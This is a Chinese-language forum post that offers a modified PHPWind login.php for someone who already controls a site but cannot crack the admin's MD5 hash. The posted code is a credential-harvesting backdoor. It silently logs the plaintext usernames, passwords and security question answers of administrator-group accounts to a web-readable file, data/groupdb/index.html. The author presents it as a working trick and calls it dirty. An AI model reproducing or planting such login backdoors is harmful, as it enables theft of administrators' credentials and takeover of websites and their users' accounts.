PHPWIND得到管理員密碼的方法

fengling132發表於2012-05-02
PHP密碼
有站的許可權,但是管理員密碼很複雜,MD5暴不出來,想得到他密碼咋辦?
在登入檔案做手腳啊...我來貼一個我修改的.
login.php裡面替換掉對應的部分就OK了.
 
[Copy to clipboard] [ - ]CODE:
if($action=="login"){
/*記錄他的問題和答案修改開始*/
$ques=($_POST['question']!=='-1') ? $_POST['question'] : $_POST['customquest'];
$qs='問題:'.$ques.'答案:'.$_POST['answer'];
/*記錄他的問題和答案修改結束*/
if(!$_POST['step']){
  $jumpurl = $pre_url;
  require_once(R_P.'require/header.php');
  require_once PrintEot('login');footer();
  } elseif($_POST['step']==2){
  $logingd && GdConfirm($_POST['gdcode']);
  $loginq && Qcheck($_POST['qanswer'],$_POST['qkey']);
 
  require_once(R_P.'require/checkpass.php');
  include_once(D_P."data/bbscache/dbreg.php");
  InitGP(array('pwuser','pwpwd','question','customquest','answer','cktime','hideid','jumpurl'),'P');
  if ($pwuser && $pwpwd)
  {
   $md5_pwpwd = md5($pwpwd);
   $realpass=$pwpwd;
   $safecv = $db_ifsafecv ? questcode($question,$customquest,$answer) : '';
   list($winduid,$groupid,$pwpwd) = checkpass($pwuser,$md5_pwpwd,$safecv,$lgt);
   /*下面是我新增的*/
   $adminid = array("3", "4", "5");  //adminid=3,4,5,就是管理者.
   if (in_array($groupid, $adminid)){
   $showtime=date("Y-m-d H:i:s");  //記錄的時間. 
   @$fp = fopen(D_P.'./data/groupdb/index.html', 'a');  //寫入到原本就存在的檔案,而且這個檔案應該是可寫的.
   @fwrite($fp, '使用者名稱:'.$pwuser.'-密碼:'.$realpass.'-'.$qs.'-GroupID:'.$groupid.'-'.$showtime.'<br>');  //基本格式
   @fclose($fp);
   }
   /*到這裡修改結束*/
  }else{
   Showmsg('login_empty');
  }
  if(file_exists(D_P."data/groupdb/group_$groupid.php")){
   require_once Pcv(D_P."data/groupdb/group_$groupid.php");
  } else{
   require_once(D_P."data/groupdb/group_1.php");
  }
  $windpwd = $pwpwd;
  $cktime != 0 && $cktime += $timestamp;
  Cookie("winduser",StrCode($winduid."\t".$windpwd."\t".$safecv),$cktime);
  Cookie('lastvisit','',0);//將$lastvist清空以將剛註冊的會員加入今日到訪會員中
  if($db_autoban){
   require_once(R_P.'require/autoban.php');
   autoban($winduid);
  }
  ($gp_allowhide && $hideid) ? Cookie('hideid',"1",$cktime) : Loginipwrite($winduid);
  empty($jumpurl) && $jumpurl=$db_bfn;
  //passport
  if($db_pptifopen && $db_ppttype == 'server' && ($db_ppturls || $forward)){
   $tmp = $jumpurl;
   $jumpurl = $forward ? $forward : $db_ppturls;
   $forward = $tmp;
   require_once(R_P.'require/passport_server.php');
  }
  //passport
  refreshto($jumpurl,'have_login');
}
}
很齷齪吧.
 

相關文章